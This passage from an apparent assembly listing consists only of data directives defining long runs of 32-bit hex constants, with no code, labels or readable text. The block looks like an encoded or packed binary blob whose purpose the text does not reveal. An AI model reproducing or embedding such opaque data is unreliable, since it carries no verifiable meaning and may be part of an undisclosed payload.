0E8408890h, 5D6D900Ch, 445AA156h, 350E6404h dd 89DBD5h, 25615D4Dh, 0CED6143Fh, 3C17D0C2h, 7A9030EEh dd 90C4E957h, 0D422A3BFh, 0CF249812h, 0B3320055h, 6EDF4524h dd 7C0036E0h, 29F405C3h, 48CFE56Fh, 2B0078EBh, 0CD5C1AF7h dd 5702BF4Ch, 79961E42h, 3888424Bh, 67DDBACh, 879DDA9Eh dd 3520F0A7h, 44285894h, 88908F21h, 0AB8FC088h, 81524009h dd 18427EB2h, 704FB67Bh, 18828404h, 0F8140C8Ch, 0F5E70652h dd 0B4DC2843h, 939D5A1Ah, 8D18C170h, 0FE940414h, 0D75F06B0h dd 14AA0779h, 312F6FEAh, 4258A169h, 0EF19679Ch, 0C504B208h dd 0F15C3AB5h, 6BCE7280h, 0EC512646h, 21370864h, 57B75E41h dd 602A4460h, 1FEB418Fh, 6201A8FCh, 307F8724h, 0DAFCF642h dd 46D71FC1h, 377606C4h, 5207319Dh, 0D94C9058h, 0DABFD290h dd 8DE405C8h, 0C13FAE09h, 0D89F7768h, 0B91DDEADh, 61C05CBEh dd 86DB442Ah, 0C08B054Ah, 4D3ED3Bh, 7BEE1B4h, 0A91C52BFh dd 6D8124BDh, 7A3A4040h, 2026BAA5h, 0BF09602Dh, 0BC848A5Ah dd 0D888FD10h, 0D7185D92h, 0F63FEh, 0FA22F777h, 0ECD04091h dd 3A258DE0h, 77682098h, 16E11415h, 2373DAE0h, 5C8D838h dd 8200CDBBh, 11A0A68Eh, 12BC2CE8h, 0D98FE47Bh, 0A9DE8144h dd 0BD631397h, 1F5422E0h, 0E58E83h, 9B6E572Fh, 2C90D81Dh dd 0ECBF5522h, 5FEA28F3h, 0A8180008h, 0F4708CA6h, 2200B16Ch dd 159E6566h, 480CF96Fh, 8E315C37h, 222AD678h, 733307ACh dd 497C5FF5h, 2B7E47h, 174F8363h, 0B8F6BC79h, 0E8D81F00h dd 53F0568Ah, 2B0C0024h, 0C3FBDD5Eh, 907C31BAh, 77C1010Ah dd 0E2000C36h, 0D29B61A2h, 5A6CE20Ah, 14DAC64h, 428922CFh dd 118AFFACh, 91439A2h, 38113BD6h, 481C2726h, 0E0830B24h dd 72D09075h, 867D005Ah, 0FAD012F7h, 2B244CBCh, 0C90011h dd 4B22E970h, 3EAD1263h, 5034AC95h, 48170334h, 0BC01FC69h dd 0A1386E5Bh, 10703CFDh, 892A621Eh, 78525FBDh, 3A438800h dd 0FA9ADF76h, 41EE0EF2h, 1CCFA339h, 0DA4F0621h, 439DE3FCh dd 0FE1FBFF4h, 634A4905h, 0FC8289DDh, 785C44F4h, 20CE8A3Ah dd 12243622h, 1318FF5Ah, 311030FCh, 0C002D85h, 0D8E74D32h dd 1BC23B5h, 5D40A556h, 20EC66CAh, 0B6446CF4h, 513A6072h dd 755FA1B8h, 9C3E3701h, 0BC6B7A3Dh, 0B0B031F3h, 809E3561h dd 47E57839h, 0C10B3Fh, 5D6393BCh, 7239FEC9h, 104E5B25h dd 39177580h, 0B3076DE5h, 60881BFCh, 0E294DAFFh, 0DDC1C001h dd 65524C72h, 0A08754C9h, 0E06646D4h, 26C3BFD5h, 7415280Ch dd 0BA514Fh, 8182793Dh, 8078074Bh, 0D28CF100h, 200FCAE2h dd 7B047943h, 0B9ED61BDh, 52392AD4h, 864729Ch, 7EA80C03h dd 0A8EDD5E0h, 390B4F97h, 1282A52Eh, 83CEBCCAh, 0F690E4C3h dd 0E2007C90h, 0BF772F81h, 25BE18D1h, 3C8FA2F4h, 32B3588Eh dd 2820F7BCh, 0A4634Eh, 0DBDAC7D2h, 0BF65F411h, 6787D09h dd 76104854h, 0A96D88D5h, 0B8865502h, 0E3564AC1h, 0D7F800BDh dd 0EDCABDC3h, 250B6F3Ah, 0B9B7Ah, 1A6664Ch, 19C332C2h dd 0EC52CE99h, 20006096h, 0A32E8A0Dh, 404D04ECh, 0E0D86FD5h dd 0AA123370h, 0A0905E8Eh, 7A78B3h, 464A18Ah, 0D5524DFDh dd 304AE334h, 650BD4A2h, 5F8FFAh, 0CAF7DE5Ch, 20120088h dd 0AE1983F8h, 0A00A17A6h, 8C9834BCh, 0DE799980h, 0EE434Fh dd 0E3780815h, 850484A8h, 1B25FA00h, 4BB5E170h, 4D7F013Bh dd 0AB5C19DAh, 916BF871h, 350C2096h, 0B651E9h, 30DDAECDh dd 0CA94149Bh, 0E49A700h, 3B81360h, 41789029h, 0ABC70BBh dd 64BDCCA8h, 3200DC91h, 9013C148h, 30C013Ch, 3A5CB6D5h dd 0C43237h, 6DAB5FADh, 4B6B23h, 0A6EAEFB7h, 5B088796h dd 6718412h, 0CD992840h, 1518854h, 658AC8D6h, 0D05E5561h dd 0E400AD56h, 0C987A3CEh, 955DE7C2h, 5A6E0F40h, 1E5CBD3Fh dd 0A600A26Ah, 0D77D7C51h, 30F412FDh, 855830BAh, 87004A0Ch dd 40FFAA3Ch, 0F1FB2B3h, 8CF3395Fh, 0C4029BC9h, 4C66C2D9h dd 0D8245700h, 0C517631Ch, 96F01DDh, 0C42216CCh, 0C1A03CD3h dd 71B2EBDAh, 13C7BDC0h, 0EA1BA3Eh, 0F3E327E0h, 9F81073h dd 86443D6h, 94B45A91h, 0D9CCF7A5h, 0D4660B62h, 83D4A7C7h dd 204BDA0Eh, 7DE0EC8h, 0E57E08h, 0BD5EA0ABh, 2DFEC6F3h dd 6774E300h, 87723A37h, 34B12C13h, 225E00A0h, 6DBA6E23h dd 0C600F4F4h, 0EA1AD12Eh, 5098CF51h, 94ADCEh, 7B0D9B5Ch dd 0EE021FA1h, 81BB603Ah, 0D84C30C9h, 0E4549C6Ch, 83488Ch dd 976EDB54h, 0B57CB761h, 0BB178AE4h, 0A5098D71h, 72080319h dd 0CC313E6Ch, 0A9692B80h, 0C7DF7AA5h, 0F234C60Ch, 884E5927h dd 9E7486E7h, 78E6B207h, 0FB226FBDh, 7246090h, 0F6532E8Dh dd 96D8CA9Ch, 0E4249174h, 75003EEBh, 0A141C909h, 4AEC09F8h dd 8882CF64h, 0BD04D224h, 0D0F8CCh, 3864D629h, 0C4798132h dd 5A3EB7F4h, 1EEF4A62h, 9010A7DDh, 4600A2CAh, 2E3F74AEh dd 2D58C66Fh, 0EC205E4Ah, 0A72D30FFh, 0E733Ah, 0FD4E899Ah dd 0FA328Ah, 6DF8D807h, 79B39115h, 0BA4ACC90h, 0A5E16870h dd 0D2D300D4h, 90674680h, 352D92DEh, 7D2890E7h, 0C2C7090Eh dd 84903A55h, 5E01269Eh, 0D1208BC5h, 944839BCh, 5202024Ah dd 0CA811DF3h, 8E044079h, 488035A8h, 88360Fh, 0A63B0B57h dd 0A1DE26E0h, 3D531B02h, 905E2494h, 595EE98h, 0BD3C0AFEh dd 96F6807Eh, 0F8035C07h, 0BC1C6CC6h, 1461FE1Eh, 70D27050h dd 60EBB21h, 0A02F0062h, 1AA5D3Bh, 2331C8F3h, 89B75F7Fh dd 1652BF31h, 5E040094h, 2EB0681Bh, 2000F631h, 0EE805025h dd 5CC8EB29h, 6D80B811h, 0CAC4185Fh, 0DA142271h, 3F085742h dd 29B430C8h, 0E8FD0E60h, 99EFC87h, 526306A9h, 8447C88h dd 0BD823C1Eh, 70B63657h, 0A48638h, 9D9C6E89h, 0A3D71991h dd 3EA42702h, 60FF7B96h, 0E343866h, 337D364Ah, 2082B5ABh dd 0C422D16Bh, 80246CECh, 506BD8B8h, 0F1C910CBh, 0C34A8110h dd 0D2D30CA1h, 0EC88B829h, 716D1867h, 2DE4B029h, 8075E283h dd 161FD334h, 0A4F73C34h, 9924930Eh, 700ECB40h, 7B0EC784h dd 0DE4ADAB2h, 7EC2B42Ch, 40AA20C2h, 4A5CD847h, 93C7B084h dd 0B5AB02B2h, 0C2DF73E4h, 0B7000459h, 589AEDCEh, 7BBA1CAFh dd 906EA0h, 42613AC5h dd 1FEA4C45h, 8FCF1E00h, 49BFB03Ch, 0D1CC0937h, 0CB0077E7h dd 0B2216F80h, 0EBAD9200h, 4408F6Ch, 3E46F0CBh, 0CF0ACA2Fh dd 42DC3ABCh, 0C446B50h, 0A200DAECh, 0BFA0285Eh, 1880F4B0h dd 11270DE9h, 0E27FABECh, 257D3506h, 1739EDFFh, 0C5A372C8h dd 0C13882CCh, 5429CF2Eh, 0DA8978E8h, 20645830h, 512D4F0Fh dd 0D304186Eh, 0B5C30035h, 0C057AB40h, 5A88301Eh, 0F671C026h dd 55E814A4h, 0F7495600h, 0E4BA2AE2h, 63231388h, 58A10278h dd 4C648425h, 7443355Eh, 906D09D7h, 0F05EC5BDh, 5E9000Bh dd 0FF179054h, 941252FEh, 60307AADh, 0BBCEE30h, 505F744Ah dd 0C9EA3280h, 0C700F886h, 0A931F52h, 4AD6A105h, 3080127Bh dd 0C634AA0h, 0E258AE1Fh, 1F9A8080h, 376F8B9Bh, 0F0612572h dd 29F80969h, 0A60ECC00h, 7A79C42Bh, 6E3C2E40h, 0C0AB1790h dd 0BA6C813Ch, 0ECE2C9C0h, 0BCF4786Bh, 0A4630128h, 30BD8B67h dd 1188CAE0h, 0ED0300A6h, 0B544924h, 2100E9A1h, 82E3E5EBh dd 0B738EC9h, 44BF9793h, 9910B846h, 52004C8Dh, 639490E0h dd 2202D4EEh, 42D6BAF3h, 0A2AC7A83h, 3D44418h, 851ED57h dd 28A09D54h, 84023643h, 5AC3F0E0h, 2EE0AE5Bh, 0D9DF00E4h dd 4B2B2Fh, 0AF048270h, 0CE4339D7h, 0D58D0902h, 60FF2894h dd 89ED2900h, 1C9C4C38h, 0B0E74200h, 0C598BD7Dh, 2236022Bh dd 0E01BC1AEh, 0E408C054h, 0C391EDh, 18B763Fh, 7DBCA397h dd 20734FD6h, 0F6A11AB4h, 0E9511C01h, 0B2F3E4C2h, 0D0553898h dd 0E9DCC05Fh, 0C85648C0h, 0B1BE2h, 4E278329h, 0EBBCB045h dd 3A32FF09h, 55D8C87Ah, 0D89D381Bh, 0BC258D00h, 0BAC48CE8h dd 6D40E494h, 9C48671Eh, 5CCA91B8h, 0D5C09E48h, 2F58DA05h dd 435603B5h, 5ACA79C3h, 2A0846F8h, 0BB3CBC13h, 5C285C90h dd 0A65778EBh, 689EC8h, 36425649h, 0CCAAAA48h, 950FDC7Ah dd 74DFA7Fh, 0C210D572h, 0AFDFCh, 7F03EE8h, 9294C9DEh dd 4422CC90h, 1ADB0958h, 2484BB77h, 0F14D41B3h, 58803FC1h dd 278CF0BAh, 640056BFh, 2857549Eh, 37FFC229h, 701834C5h dd 90E07B2h, 0ADBDEC01h, 6FCEA04Ch, 702C2839h, 895A67F0h dd 6B85D4A0h, 21006E6Ah, 3E1A4E25h, 0F103B45h, 164731D1h dd 0A88FA9A4h, 73520864h, 0CB708EF9h, 0BBC41391h, 54814091h dd 1782AF2h, 0D540228Ah, 8911FF27h, 0C43EE658h, 5F864C48h dd 730039BCh, 179A0B7Fh, 7E4EECh, 22856045h, 0B85388DFh dd 4CCF9402h, 70A8546Bh, 4E1D25D4h, 3607586Eh, 0A4AA51EEh dd 37FCE481h, 0C2A243FCh, 0D47D5029h, 0A400F4D9h, 0F17E2A64h dd 0B04F6236h, 640EBC9Bh, 0D340D11Bh, 43D880B1h, 0BE1F2918h dd 13A2C38h, 0EC57C0BFh, 38D5BB1Eh, 0A6770004h, 0DD60FE94h dd 39D4A0E3h, 6495E96h, 0A9FCD560h, 2440A0A0h, 984D18Ah dd 2DF82248h, 0D6B0DFFDh, 0E800FE32h, 119BAF7Ah, 1D31A2B6h dd 0A53728C1h, 40507424h, 0ED405715h, 4D9600B8h, 0D4EA5C86h dd 63096DDEh, 0A03351B6h, 2990504Ch, 0EB700F28h, 0B4A4B555h dd 0C720F434h, 1F2A8902h, 0C40DA4CAh, 66F512CCh, 3AD207E1h dd 0C3F47179h, 690471C4h, 29731D2Ch, 6E74B040h, 21D023h dd 463FDD7Fh, 0C06B4BE7h, 9C00DBB8h, 147EA1A0h, 30F84Eh dd 0AA699774h, 0DBA9FD6Ch, 9685D07h, 0EC903975h, 1444732h dd 0C4715221h, 0D127EF37h, 0DF6AE008h, 0F993AB0Fh, 0F113E3F6h dd 99DAC87Dh, 8BA91E98h, 0DC954FB5h, 68786580h, 2900FECBh dd 0A1AC04BAh, 0C906CF5h, 8A99701Fh, 19007150h, 40068421h dd 7DE8F689h, 0E01B483Fh, 4175421Dh, 0F147C5DEh, 0CC3197BFh dd 0A77C1A06h, 79F44449h, 400402E8h, 0F6E12F81h, 3C27B6C0h dd 712EBAC1h, 1ED1C056h, 0F372A63Ah, 37C2AF1Fh, 0E1706F5Eh dd 30A9B971h, 32102879h, 19C3EFD0h, 0F84AC64Eh, 9C2D65h dd 0DB534058h, 9EF14ADh, 0C374E300h, 420456D1h, 1941C0C8h dd 1A23AF5Ch, 1D0C700Eh, 3818BF5Ah, 77CEE450h, 293CA047h dd 109EA82h, 4DC9CDE0h, 8676603Fh, 0A0D0F149h, 15810729h dd 1E37CC16h, 19B89986h, 2CC4DF00h, 6A136188h, 41C502E5h dd 0A0BA101Ch, 3EA94883h, 7187100h, 31357049h, 0E70579F2h dd 462091h, 7AF64C1Dh, 7CB751h, 0E38DC7F1h, 0C891358h dd 79DFB53Ah, 2009978h, 3F1A321Fh, 0A158906Bh, 991075A0h dd 0F61848CEh, 1530D182h, 1EE8225Bh, 0F0B74405h, 0CC401957h dd 99BF9568h, 11A800EAh, 6BE1D7A9h, 0CE00DCE8h, 0C9A250A4h dd 0A1304BEDh, 6C50B9D8h, 6001A532h, 0A7BE4809h, 0F801720Eh dd 0B9BD42F7h, 80487CBCh, 0FADB886Ah, 6431D30Eh, 0FC9C27BEh dd 69D94BF0h, 6DA00C37h, 0BD8013Ch, 0E777273h, 0C607E017h dd 0B6A9E303h, 9A49156Dh, 0C700C09Bh, 0FC246032h, 91244507h dd 9D0150BFh, 16F86D89h, 0BC479441h, 37B9D848h, 0C49970B5h dd 0F1005FF7h, 0C1F34FA1h, 0BB8CA81Eh, 816D15A7h, 0C73AFCC5h dd 1025430Dh, 5012BC21h, 9788D248h, 4911007Dh, 1D28244Bh dd 0D10041BFh, 57A25EF6h, 0A8E06BDFh, 8871B7A4h, 1B00F75Ah dd 0A676EDCFh, 0A0DD4E30h, 4C37E428h, 0D18004F6h, 8257C9DFh dd 0CD29C606h, 14F0A5B9h, 4C373843h, 0C39F611h, 192B2644h dd 971D2AD3h, 34EFC90h, 0D22AAB73h, 894C8240h, 0C28300ADh dd 160CC745h, 2F3D0042h, 0DB481E7Ah, 440CDF76h, 5049432Eh dd 0F2041E08h, 48B30098h, 0BD34E1E2h, 45D3AB04h, 14D2F095h dd 439D2090h, 203A378Ah, 453C8B60h, 0F03680AAh, 4F0BC9h dd 6DE9DBBDh, 0B9479CB5h, 5739AC63h, 0A6C10714h, 0B063CACEh dd 1AEE163Bh, 7E5F061Ch, 0F51DBBC0h, 9CD99B5h, 0FD04703Dh dd 7AA92407h, 34C18084h, 0A4C2DD0Dh, 0A00F3500h, 0D42ECA7Ch dd 4F3B1FE8h, 4C01407Eh, 5CD3E516h, 37DFA60Fh, 84A4D4D2h dd 31402A1Bh, 0C988FBB6h, 40283200h, 51E697D1h, 6BA100D8h dd 69564271h, 0A600523Fh, 0F153CCCBh, 78ADD37Eh, 8697002Eh dd 69ABC0DEh, 574C42B1h, 0C11981F8h, 0A670E973h, 0CA3E0025h dd 0E30EF697h, 793CF118h, 11B28083h, 0D9E0BFAAh, 0CC30F3C7h dd 149E01D3h, 99765F26h, 4020129Bh, 0BD2D83h, 35C496E2h dd 14981118h, 7F13E300h, 270B0DC1h, 0AD0501C0h, 0E2C312BBh dd 0A3EDF037h, 0E3087F00h, 7EB39055h, 0C8141C43h, 65647Ah dd 0C83DE5Ch, 35019C8Dh, 4D1E9266h, 6091160Dh, 34CF0022h dd 94840ED6h, 6D400764h, 20FECDD3h, 21BD25E7h, 0A1C529C0h dd 0F60BED43h, 0C6C9141Ah, 220308D9h, 9EF07FC2h, 753C9113h dd 7B9BF300h, 0F6835766h, 702E0127h, 9C76C1A4h, 1460E4FEh dd 2C9331C1h, 0CEE54096h, 98773840h, 76EF003Fh, 88C452F9h dd 9004755h, 0ED2AFB4Ch, 28CBDEh, 49925BB3h, 0FAD698BFh dd 848A7700h, 0E93BC63Ah, 0D8C70694h, 593C96EEh, 985B9F00h dd 0E94065AAh, 33FF00FAh, 1220AEF6h, 51E196EFh, 8010988Ch dd 0CE788989h, 39D28B40h, 1E008375h, 72476DFBh, 0C67FAE34h dd 0A700FD77h, 105F5A03h, 1C7B5060h, 13D6A44h, 1B49829h dd 0AF52D0C9h, 0BAF8C600h, 80221BF2h, 0BE4E00E8h, 852F0CAAh dd 30073E58h, 0A8681992h, 98D2B280h, 9FA00C8h, 0F422152Eh dd 0F54AC25h, 2D041A9Ch, 0BB1DA684h, 0CCA1BE43h, 0F808B80Ch dd 3B4299Bh, 70FEF75Dh, 2288AA4Fh, 10E08AA5h, 75C1C500h dd 0DEF6B782h, 59312C8h, 4231FA3h, 88091840h, 0FAEA7814h dd 0A694E01Dh, 0EAB9890Fh dd 0F20CB49Fh, 0EE6917h, 0D4C1C952h, 3886BD61h, 0ACCF8001h dd 0F2B6C094h, 0F0467080h, 0E1453F8Fh, 0C6C81300h, 0EFA1BD1Dh dd 0C182499h, 2D7031E9h, 0A0C98012h, 444D07DBh, 0DCC206FAh dd 41D426E3h, 1ECD4CA0h, 36BB2107h, 0D5855D1Ah, 0B32E0800h dd 3A1A7C6h, 18758120h, 39183C0Bh, 0E3617B0Fh, 9EAF00FAh dd 4CB56343h, 0C51D829Ah, 0CC44B0D0h, 6C878D87h, 0B1472D30h dd 9CFC3BC1h, 1C89662Ch, 0C111D19h, 0ED593861h, 0B4886B00h dd 639B1EB3h, 937000D7h, 0DDDBCC2Bh, 0AC007717h, 9A8A7A55h dd 67E901Bh, 2D687B37h, 530191E5h, 0EE40E6AFh, 802F3BD0h dd 862C75C8h, 1DDF1900h, 0C238A612h, 0C1D160EDh, 1688BEC6h dd 644341C0h, 0FA860F5Bh, 0ABCC3BACh, 35457807h, 0D404C960h dd 0C1734710h, 0BF888C30h, 64C41E16h, 402F5D9Ah, 81A2F39Dh dd 0DA07A132h, 72DD132Ch, 7960CEF7h, 7C31B6ABh, 0C1BB00C9h dd 6D37687Dh, 21B85259h, 18769038h, 609113FBh, 708B6F7Eh dd 336D4621h, 82918927h, 995C27C1h, 0A819D740h, 678E0726h dd 5262E779h, 58601B2Ch, 97190F80h, 82488CBBh, 0DF130980h dd 9834D333h, 7E007771h, 2859BCC5h, 0FA4FB17Ch, 0E6C7EA5h dd 427A70DEh, 54E99600h, 0DD39909Ah, 0EE88795h, 0D1072ECEh dd 5E924141h, 0F4AF4BF8h, 83C1C0F3h, 96739E40h, 8D3EFA1Eh dd 80A36AC0h, 20742Ch, 0E8981E7h, 0BDCDC0B3h, 34E13B24h dd 0DF9308h, 4EE94CE4h, 1103CC06h, 7B0E979Fh, 0E6F900F0h dd 2D1D0FCBh, 30753B8Ch, 7EB9F41Ch, 544C757Eh, 89A6300Ch dd 16028Eh, 435A28B1h, 99C14DD3h, 2C71CC00h, 0C6B2D8A0h dd 0F92E349Fh, 0AAE48031h, 44052BA3h, 65F07C0Ch, 0EF96FC40h dd 0ADEA70h, 4F367292h, 0E0D7CBFFh, 0BC438400h, 5F664AFAh dd 8461D88h, 38935897h, 2804FFF3h, 53D92BF1h, 0F2E2FC8Ch dd 6CF6006Ah, 0FA1F2350h, 0EE745D51h, 87785B0Dh, 5602916h dd 2F133895h, 0A9176075h, 1CCDF143h, 0FF006874h, 0ACB2B6C8h dd 9A150F2Eh, 1B9F4464h, 0E8EA3F00h, 0CAA2DC29h, 82BC0ED6h dd 58600C65h, 2A5F676Fh, 4FC0B4Ch, 5295A691h, 0E9EEDE21h dd 0E51C2498h, 38C5C600h, 94A66706h, 9829C4EAh, 0C2E49036h dd 3B30FE97h, 54F6E06Bh, 780E00EFh, 0E107389Fh, 2A011EC2h dd 0CA5F64D0h, 34D8885Bh, 967D85h, 0D9A1F981h, 49F6F794h dd 0CF5C9300h, 6FFB2C5h, 381B01E5h, 94BDC07Eh, 7A88408Bh dd 0B090C28Dh, 0E3006C91h, 3D460FA2h, 0B3270035h, 0CCC0EEDDh dd 0F30C9966h, 58D294B2h, 7B7518B0h, 0B47C1C2h, 25CD1400h dd 0BA186653h, 5FD0197h, 82787D7Ch, 0BE2985FEh, 0C040E0A3h dd 251BC8EBh, 0CB9A1349h, 0A1903245h, 58888224h, 0DD8700CFh dd 0AB8D337Eh, 4B1D99ECh, 6880AECEh, 85256A3h, 396C6271h dd 2F97F3h, 0EB17E114h, 2DCE00A5h, 0D248A11Fh, 0CB58AF6Fh dd 0A0CC4485h, 0F33FEF01h, 18F08382h, 5B2E4982h, 39E0D93Bh dd 571F7B1Bh, 0DB8552CBh, 5482F012h, 21EC660Ah, 0B7281A6Eh dd 0C0FD81C0h, 3E3372CBh, 1D0167CCh, 0D8E293ABh, 883C60F8h dd 600F88A8h, 0B5220A0h, 9048EC91h, 1EC4C940h, 9F7E075Dh dd 8BD9C59Eh, 0FB2ED502h, 567BACA0h, 240045B6h, 0E95773AFh dd 60DC0B27h, 0E38D2021h, 28A3BD2Fh, 8A1BEBA0h, 9CFB7E02h dd 0C0CB8318h, 0C0F42E98h, 851CDB51h, 0BC0724C0h, 1F6F9942h dd 0F52184A0h, 0BA131CD0h, 9D6B40B5h, 18A11AB3h, 62D8001h dd 0C57D15D1h, 2B5D2C4h, 959A05FEh, 0E140A188h, 2900D147h dd 79ECD958h, 2A42F8A9h, 0BDCBA82h, 31768DCCh, 30B11D00h dd 260072D6h, 0A7DCBF4Ah, 4CFAFFA3h, 0D41C0CFDh, 2486816Dh dd 73C61DEEh, 39DF2248h, 46B22A40h, 79E039F1h, 38001083h dd 116350DBh, 2A7EEB5Eh, 3FC06AF0h, 0F808164h, 73BED48Bh dd 9A2C293Ch, 1398EEFh, 8A283B2h, 31976D6Fh, 0B3842082h dd 6E004525h, 0B8C22F68h, 0DAFFFh, 60493028h, 1E59CD56h dd 0CAA43C00h, 80DE8E24h, 10D159D5h, 0C6340076h, 399279D4h dd 43E05EFDh, 3014179h, 96F99068h, 4C32F091h, 0B3692C00h dd 8AA80D86h, 1537A61Ch, 0F610BCC0h, 2E24BB9h, 826E2B60h dd 0B4E2DFA3h, 1017D861h, 928996EEh, 669F0B80h, 84020690h dd 0D4431118h, 10F849E4h, 0A16A88h, 2BE76D79h, 0D2F0E5C8h dd 4BC71202h, 4277FABBh, 2284003Dh, 14DD25BCh, 0C48892FBh dd 0CBBBBE0Ah, 0C5910A3Ch, 238844D4h, 0A893C05Dh, 0E5760084h dd 8DFABD94h, 335CB489h, 95F00AF8h, 8F081CC8h, 9DF88CEEh dd 650070A1h, 1C2D35F2h, 0ED12659h, 9664D8B0h, 811740C4h dd 5E13FB8h, 0FC077C8Ch, 19C9003Ah, 97D4DF3Dh, 1C008B4Ch dd 0FC1AE5FAh, 7A1B5Bh, 0EF3FE03Bh, 8C4F5A7Fh, 822FA80Ch dd 776391BEh, 0E4701CDh, 2ABCAD04h, 0A5F6D0F7h, 2C395619h dd 791014B0h, 0BB26F99Ah, 0D1114B8h, 0D9B25100h, 92DC7D8Ah dd 7A3B837Fh, 8408A51Eh, 7141219Ch, 0D4A67B79h, 1B1F50FBh dd 0F50023CBh, 598B2FA7h, 40780069h, 0CE3B22ABh, 0A00315BEh dd 0FA82C573h, 0D702A001h, 421B01Ah, 458CAA11h, 56BC8C49h dd 4120F200h, 0CB5227A7h, 0F696001Ah, 6B6E17F5h, 4D130E63h dd 20302589h, 138F8C5h, 1A0B2CB4h, 42A0C630h, 5CA02D08h dd 43D3CC3h, 42D26D00h, 8C767D0Ah, 9059309Eh, 9A15C7E8h dd 1001AAF4h, 0E6BB4794h, 0EBC453C1h, 855E00F8h, 8E796BD2h dd 0A300BAD1h, 73435F1Ch, 3DD342h, 0E590BF45h, 2710C047h dd 94084E67h, 0C515ADD0h, 773B1DE3h, 1CB2C7F5h, 0B80DB035h dd 0E10C5D7Ch, 30340FF7h, 0B9BC308Dh, 0B470D481h, 11BE7630h dd 0C8D61Eh, 3D650B79h, 188C5F07h, 0CB2CA803h, 3C5BE8Dh dd 0D78A6629h, 98A6A11h, 95E086E3h, 0D00C851h, 349CBAFFh dd 6C26D5h, 24095713h, 99C44FB1h, 20D18F01h, 2B36F601h dd 64274AD0h, 8077C94Bh, 2AAB66A7h, 1B0E9FEAh, 0E126C737h dd 0D4E24872h, 155B7D70h, 1C16BEC6h, 218D5C00h, 9A97622Ch dd 1FF0BF00h, 0C714154Eh, 377E66Ch, 0C520239h, 0D2913C8Dh dd 0F1C98C20h, 0EC008FAh, 0C187F238h, 7BAF2B80h, 39FEB578h dd 1D984226h, 0BBD8DD1Ch, 624C5871h, 8EF739DFh, 0E6E1C8A0h dd 0A77457B5h, 0CF566B00h, 868A6101h, 0E3180672h, 79D376E1h dd 831D7B00h, 679D5EF2h, 4B22004Fh, 8A70E712h, 73001BF0h dd 533EB53Fh, 30BAF8FEh, 8F71140Ch, 503AF5DAh, 0BFE78678h dd 37819A92h, 80A1BD8Dh, 11327759h, 70AC17Ch, 1488AC3Ch dd 6F918F00h, 1ADB4EBh, 5F0F757Eh, 2CAFEF23h, 409603FCh dd 310DDC6h, 0F1439431h, 107C98F8h, 700C0754h, 717E2100h dd 2EBF8B8Ah, 98330F7Ch, 913E6EE5h, 7AA86260h, 0F0092796h dd 619DAC66h, 99776010h, 9760248Fh, 4A02BFD1h, 4CD58D24h dd 0A017F142h, 0A2D03B80h, 3C2800ECh, 0FF16C5D6h, 9C48CB92h dd 20996EE6h, 3E142F6h, 0D82B545Dh, 708F4069h, 0A28E140Eh dd 0BF37076Fh, 0CF455DF0h, 5FB41A0Dh, 8B0071C4h, 6906194Fh dd 3C7EA200h, 404B7A25h, 0E3520CA7h, 829115F1h, 3943B53Fh dd 59077476h, 4C54F22Bh, 31DD213Ch, 7699501Ah, 536180ABh dd 0D3BD6F5Dh, 4A8800A1h, 13D27A0Bh, 0AC1C50BFh, 8D0099F5h dd 16DD9103h, 38CC67AEh, 0C1072746h, 300F45D1h, 0DF60F108h dd 87200E69h, 0C58C007Eh, 0DC64AD57h, 5A148B45h, 70995EDEh dd 1018FB48h, 40013C09h dd 1AE08304h, 3D8040DAh, 6D04946Fh, 1075BB8Dh, 137A38D2h dd 0C8A97829h, 8E00FC11h, 27B6C2E5h, 500A206h, 0AEFDCAA3h dd 2458AF2Ch, 881C1E3Ah, 0F1808BF7h, 713C54C4h, 6D011F52h dd 324D401Bh, 2D3D589Ch, 187059C9h, 0FD98F0h, 0ECA93508h dd 0B5401275h, 0B7F48201h, 29A20C26h, 28D54830h, 4ECC1E8h dd 4196BFC6h, 0C78D023Ah, 846021C3h, 6480CE66h, 0DFDCD14Bh dd 0C7584200h, 0EA835F6Bh, 247369h, 70920E2Ah, 11C976AFh dd 95D530C0h, 0A2DFBB3Eh, 101C8C98h, 214C6055h, 6DF7C7C0h dd 252A2C90h, 0CA229C39h, 9AA881C4h, 14E9BC08h, 3979F9C1h dd 403BC452h, 300E4080h, 37691123h, 0C814E65Fh, 116C15F7h dd 0BF0CC7D4h, 3C598F95h, 48445528h, 3B4CEC58h, 215AECBEh dd 5B1512D7h, 70F40790h, 17D9F0BAh, 6A3EDE0Ah, 0AB1B2C7Ch dd 0D8E79803h, 0B5490E13h, 5220C446h, 0E06F4F83h, 0C1210934h dd 9668CCh, 0A7FA92F0h, 5DB99EF8h, 0B9B0A04h, 4E8172AFh dd 86DAD0A5h, 430349Fh, 0E4F8DE51h, 0E724C060h, 460CD705h dd 79F9D8E1h, 7A23090Ch, 28039CBh, 0B6BDC6C5h, 21C1DDECh dd 0B389493Ch, 0F21BCCh, 9ABBFB86h, 60BDA421h, 846A8100h dd 0B7E6940h, 0CFFD00C8h, 0CBD55F64h, 7017F42h, 5C79AF7h dd 81F0F4DEh, 2C65001Bh, 0EB72BE6Fh, 0F4CDDCDh, 0E0E89E78h dd 0B0B49544h, 0CABB1310h, 0CF75017Eh, 0EC2DA514h, 227BE132h dd 4AE908A8h, 0F8E04329h, 0F8FCB100h, 1834C4D0h, 19E37C0Fh dd 2D018FC8h, 57A590AFh, 4880FF33h, 0DB51A2B2h, 0F41D39FDh dd 72403DD8h, 5316760Fh, 0C27CE4h, 0E6F535D4h, 81908F5Eh dd 3B0FE01Ah, 0CDC04071h, 89DB063Ch, 839FFC5h, 2C693702h dd 822712DFh, 0A0E4F114h, 8F7BFEACh, 0BF582608h, 0FDBE0079h dd 8197536Fh, 75013C7Fh, 0E108EACCh, 41944816h, 3551B4DEh dd 7F0F5C4Ch, 4AB20F3Eh, 65407057h, 16C753A7h, 0DA84B401h dd 59E67BE3h, 2E56B091h, 604F3476h, 111C5D68h, 0EF13177Ah dd 46A002B2h, 0E4C0CA45h, 0E1800F77h, 3B131BD6h, 0C08120A4h dd 882298h, 0B5EAE040h, 0A0D88C9Eh, 59C870h, 6C7F7B0Bh dd 538FDBCBh, 42220900h, 556D2803h, 0F3EB038Eh, 89B3830Dh dd 885856h, 0B72E7CAFh, 767B790Bh, 0E6230B7Ah, 74105EBFh dd 5977DEB4h, 63191300h, 0CF429AF9h, 0D3C17A0h, 91C80A52h dd 0BF3B40FCh, 34ECC098h, 0BCD6E01Dh, 8849270Ah, 8B332E80h dd 0A06B1h, 88395D5Fh, 6E301DD2h, 6A835505h, 0E4D88A29h dd 0BBEC035Ah, 8D154934h, 0C0FCB588h, 0E60B0A98h, 32F048AFh dd 0D5A819E4h, 83604180h, 0CD2A88DDh, 5A017101h, 